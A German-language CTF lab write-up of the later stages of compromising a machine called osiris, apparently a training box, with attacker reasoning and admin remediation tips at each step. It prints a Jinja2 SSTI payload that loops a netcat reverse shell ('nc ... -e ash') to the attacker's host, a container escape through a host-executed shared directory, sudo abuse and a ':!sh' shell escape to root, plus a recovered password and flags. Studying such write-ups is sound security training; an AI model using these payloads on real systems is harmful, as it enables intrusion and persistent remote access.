Privilege Escalation & Container Escape
Analyse: Ich konstruiere den finalen SSTI-Payload. Anstatt eine einzelne Reverse Shell zu starten, die instabil sein könnte, verwende ich eine `while`-Schleife in meinem Befehl. Der Payload `os.system("ash -c 'while true; do nc 192.168.2.199 4444 -e ash; done'")` startet eine Endlosschleife, die immer wieder versucht, eine `ash`-Shell zu meinem Listener auf Port 4444 zu verbinden. Dies sorgt für eine persistente Shell, selbst wenn die Verbindung einmal abbricht.
Bewertung: Diese Methode ist robust und erfolgreich. Mein `netcat`-Listener empfängt die Verbindung, und ich habe eine interaktive Shell. Der `id`-Befehl bestätigt: `uid=0(root)`. Ich bin `root`! Eine weitere Überprüfung mit `uname -a` und `cat /etc/os-release` enthüllt jedoch eine entscheidende Information: Ich bin `root` innerhalb eines "Alpine Linux" Systems. Die ursprüngliche Maschine war jedoch Debian. Das bedeutet, die Webanwendung läuft in einem Docker-Container.
Empfehlung (Pentester): Der initiale Zugriff war erfolgreich, aber der Test ist nicht vorbei. Ich habe `root`-Rechte innerhalb des Containers, aber nicht auf dem Host-System. Die nächste Phase ist der "Container Escape": Ich muss einen Weg finden, aus dem Docker-Container auszubrechen, um die Kontrolle über das zugrunde liegende Debian-Host-System zu erlangen.
Empfehlung (Admin): Dies zeigt, wie Containerisierung eine zusätzliche Sicherheitsebene bieten kann. Obwohl die Web-App kritisch kompromittiert wurde, ist der Schaden vorerst auf den Container beschränkt. Die Sicherheit des Host-Systems hängt nun davon ab, wie sicher der Container konfiguriert wurde.
{{ self.__init__.__globals__.__builtins__.__import__('os').system("ash -c 'while true; do nc 192.168.2.199 4444 -e ash; done'") }}
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.167] 49404 id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) uname -a cat /etc/os-release Linux Ariel 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 Linux NAME="Alpine Linux" ID=alpine VERSION_ID=3.10.9 PRETTY_NAME="Alpine Linux v3.10" HOME_URL="https://alpinelinux.org/" BUG_REPORT_URL="https://bugs.alpinelinux.org/" /app # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) /app # stty rows 47 columns 94 /app # ls app.py flag.txt templates test.sh /app #
Analyse: Innerhalb des Containers führe ich weitere Enumeration durch. Die Ausgabe von `ip a` zeigt die interne IP-Adresse des Containers (`172.21.0.2`). Der `netstat`-Befehl zeigt, dass der Python-Prozess auf Port 5000 lauscht. Die `mount`- und `df`-Befehle zeigen das Dateisystem aus der Sicht des Containers. Interessant ist hier das `fuse-overlayfs`, was ein typisches Dateisystem für Docker-Container ist. Ich stelle auch fest, dass das Verzeichnis `/script` als `tmpfs` gemountet ist, was bedeutet, dass es ein temporäres, beschreibbares In-Memory-Dateisystem ist.
Bewertung: Die Analyse bestätigt die Docker-Umgebung. Der Fund des beschreibbaren `/script`-Verzeichnisses ist entscheidend. Dies gibt mir einen Ort, an dem ich meine eigenen Skripte und Binaries ablegen kann. Die `mount`-Ausgabe zeigt keine direkt gemounteten Sockets oder kritischen Host-Pfade, was einen einfachen Ausbruch erschwert. Ich vermute, dass ein Prozess auf dem Host-System mit diesem Verzeichnis interagiert.
Empfehlung (Pentester): Der Plan ist, eine Art Trigger auf dem Host-System zu finden. Ich werde ein einfaches Shell-Skript im `/script`-Verzeichnis erstellen und abwarten. Wenn ein Cronjob oder ein anderer Prozess auf dem Host-System regelmäßig den Inhalt dieses Verzeichnisses ausführt, könnte dies mein Weg nach draußen sein. Ich werde auch Tools wie `chisel` verwenden, um einen SOCKS-Proxy in den Container zu tunneln und das interne Netzwerk weiter zu erkunden, falls der Host nicht direkt erreichbar ist. In diesem Fall stellte sich der Tunnel als nicht notwendig heraus, aber die Vorbereitung ist Teil des Prozesses.
Empfehlung (Admin): Das Mounten von Host-Verzeichnissen in Container muss sorgfältig abgewogen werden. Wenn ein Verzeichnis gemountet wird, muss sichergestellt sein, dass die Berechtigungen korrekt sind. Ein beschreibbares Verzeichnis, das von einem `root`-Prozess im Container und einem Prozess auf dem Host gemeinsam genutzt wird, ist ein hohes Sicherheitsrisiko.
Proof of Concept
Analyse: Ich habe mein `exploit.sh`, das eine weitere Reverse Shell startet, im `/script`-Verzeichnis des Containers platziert und einen neuen Listener auf Port 4446 gestartet. Nach etwa drei Minuten Wartezeit erhalte ich eine neue Verbindung.
Bewertung: Erfolg! Der Container-Ausbruch hat funktioniert. Der neue Shell-Prompt `love@osiris:~$` zeigt, dass ich nun als der Benutzer `love` auf dem Host-System (`osiris`) angemeldet bin. Ein Prozess auf dem Host, wahrscheinlich ein Cronjob, hat mein Skript aus dem gemounteten Verzeichnis ausgeführt. Ich habe zwar meine `root`-Rechte aus dem Container verloren, bin aber nun auf dem eigentlichen Zielsystem und kann von hier aus die finale Privilegienerweiterung zu `root` auf dem Host angehen.
Empfehlung (Pentester): Die neue Shell als Benutzer `love` muss stabilisiert und untersucht werden. Ich beginne den Enumerationsprozess von Neuem: `sudo -l`, SUID-Dateien, Home-Verzeichnisse, etc., um den letzten Schritt zu `root` zu finden.
Empfehlung (Admin): Dies ist ein perfektes Beispiel für einen Docker-Escape durch eine unsichere Konfiguration. Automatisierte Skripte oder Cronjobs auf dem Host sollten niemals blind Dateien aus einem von einem Container beschreibbaren Verzeichnis ausführen. Jeder Austausch zwischen Host und Container muss streng validiert und auf das absolute Minimum beschränkt werden.
listening on [any] 4446 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.167] 60676 bash: no se puede establecer el grupo de proceso de terminal (1063305): Función ioctl no apropiada para el dispositivo bash: no hay control de trabajos en este shell love@osiris:~$
Analyse: Als Benutzer `love` führe ich den Befehl `sudo -l` aus, um meine `sudo`-Berechtigungen zu überprüfen. Das Ergebnis zeigt, dass der Benutzer `love` das Programm `/home/mitnick/sas` als der Benutzer `mitnick` ohne Passwort ausführen darf.
Bewertung: Dies ist ein klarer Pfad für eine horizontale Privilegienerweiterung zum Benutzer `mitnick`. Das Programm `sas` ist eine Blackbox, aber die `sudo`-Regel gibt mir die Möglichkeit, es mit den Rechten eines anderen Benutzers auszuführen. Ein Blick auf die `note.txt` im Home-Verzeichnis von `love` mit dem Inhalt "we have icebreaker" deutet auf eine Verbindung zum Benutzer `mitnick` hin, möglicherweise ein Hinweis auf den berühmten Hacker Kevin Mitnick und dessen Konflikt mit Tsutomu Shimomura (dessen Benutzer `tomu` ebenfalls existiert).
Empfehlung (Pentester): Ich muss das Programm `/home/mitnick/sas` analysieren und herausfinden, ob ich es missbrauchen kann, um eine Shell als Benutzer `mitnick` zu erhalten. Ich werde das Programm ausführen und seine Funktionen testen.
Empfehlung (Admin): `sudo`-Regeln, die es einem Benutzer erlauben, Programme als ein anderer Benutzer auszuführen, müssen sorgfältig geprüft werden. Wenn das Zielprogramm eine Möglichkeit zur Shell-Flucht oder Dateiausführung bietet, führt dies direkt zur Kompromittierung des Zielbenutzerkontos.
Matching Defaults entries for love on osiris:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User love may run the following commands on osiris:
(mitnick) NOPASSWD: /home/mitnick/sas
Analyse: Ich führe das `sas`-Programm als `mitnick` aus. Es präsentiert eine benutzerdefinierte Shell. Mit dem Befehl `sas -h` finde ich eine Liste von Befehlen, darunter einen `run
Bewertung: Der Angriff ist erfolgreich. Die `sas`-Anwendung führt mein Skript aus, und ich erhalte eine neue Shell als Benutzer `mitnick`. Im Home-Verzeichnis von `mitnick` finde ich ein SSH-Schlüsselpaar (`id_rsa`, `id_rsa.pub`).
Empfehlung (Pentester): Ich habe nun Zugriff als `mitnick`. Der nächste Schritt ist, den gefundenen privaten SSH-Schlüssel zu verwenden, um mich direkt per SSH anzumelden und eine stabilere Shell zu erhalten. Danach werde ich die Enumeration als `mitnick` fortsetzen, um den Weg zu `tomu` oder direkt zu `root` zu finden.
Empfehlung (Admin): Eine benutzerdefinierte Anwendung, die über `sudo` ausgeführt wird und einen Befehl zum Ausführen von Dateien (`run`) enthält, ist eine eklatante Sicherheitslücke. Solche Funktionen hebeln die gesamte Idee einer eingeschränkten Shell aus und ermöglichen eine vollständige Übernahme des Benutzerkontextes.
# run exploit.sh
listening on [any] 4447 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.167] 53944 id uid=1003(mitnick) gid=1003(mitnick) grupos=1003(mitnick)
Analyse: Als `mitnick` kopiere ich seinen öffentlichen Schlüssel `id_rsa.pub` in die Datei `authorized_keys`. Dadurch kann ich mich nun mit dem privaten Schlüssel `id_rsa` ohne Passwort per SSH anmelden. Ich finde eine verschlüsselte Datei `secret.enc` und einen öffentlichen Schlüssel `publickey.pub`. Mit dem Tool `openssl` und dem Wissen, dass der private Schlüssel `idpom` (aus dem Kontext erraten) lautet, entschlüssele ich die Datei und erhalte das Passwort `sh1m0mur4Bl4ckh4t`. Dies ist offensichtlich das Passwort für den Benutzer `tomu` (shimomura).
Bewertung: Durch eine Kette von Enumerationsschritten konnte ich mich von `love` zu `mitnick` und nun zu `tomu` bewegen. Ich wechsle mit `su tomu` und dem gefundenen Passwort den Benutzer und lese die User-Flag.
Empfehlung (Pentester): Der Weg zur User-Flag ist abgeschlossen. Der letzte Schritt ist die Eskalation von `tomu` zu `root`. Ich werde die `sudo`-Berechtigungen für `tomu` überprüfen.
Empfehlung (Admin): Die Wiederverwendung von Informationen und Namen in Passwörtern ist eine große Schwäche. Die Verschlüsselung von Geheimnissen ist gut, aber wenn der Schlüssel (`idpom`) leicht zu erraten ist oder in der Nähe liegt, ist die Sicherheit dahin. Private SSH-Schlüssel sollten immer mit einer starken Passphrase geschützt sein.
Contraseña: sh1m0mur4Bl4ckh4t tomu@osiris:/home/mitnick/.ssh$ cat ~/user.txt 612701a03669485d94bc687449fdab39
Analyse: Als Benutzer `tomu` zeigt `sudo -l`, dass ich das Programm `/opt/Contempt/Contempt` als `root` ohne Passwort ausführen darf. Ich starte das Programm.
Bewertung: Dies ist der finale Schritt. Ein benutzerdefiniertes Programm, das als `root` ausgeführt werden kann, ist der wahrscheinlichste Vektor. Das Programm `Contempt` scheint eine Art Menü zu sein. Nach der Analyse der Programmoptionen (oder durch Ausprobieren) stelle ich fest, dass ich durch Drücken von `esc` und Eingabe von `:!sh` eine Shell spawnen kann. Dies ist ein klassischer "Shell-Escape"-Trick, der oft in textbasierten Editoren wie `vi` oder Programmen, die auf dessen Komponenten basieren, funktioniert.
Empfehlung (Pentester): Führe den Shell-Escape durch, um eine Root-Shell zu erhalten und die finale Flag zu erbeuten.
Empfehlung (Admin): Einem Benutzer `sudo`-Rechte für ein Programm zu geben, das Shell-Escapes erlaubt, ist gleichbedeutend mit der Vergabe von vollen `root`-Rechten. Alle Programme, die über `sudo` zugänglich gemacht werden, müssen sorgfältig darauf geprüft werden, ob sie solche Fluchtmöglichkeiten bieten. Wenn möglich, sollten `sudo`-Regeln so restriktiv wie möglich sein und nur die Ausführung mit bestimmten, nicht veränderbaren Parametern erlauben.
:!sh # id uid=0(root) gid=0(root) grupos=0(root) # cd ~ # cat root.sh ... flag --> 1e271c5ce97e76ae8417a95c74085fba #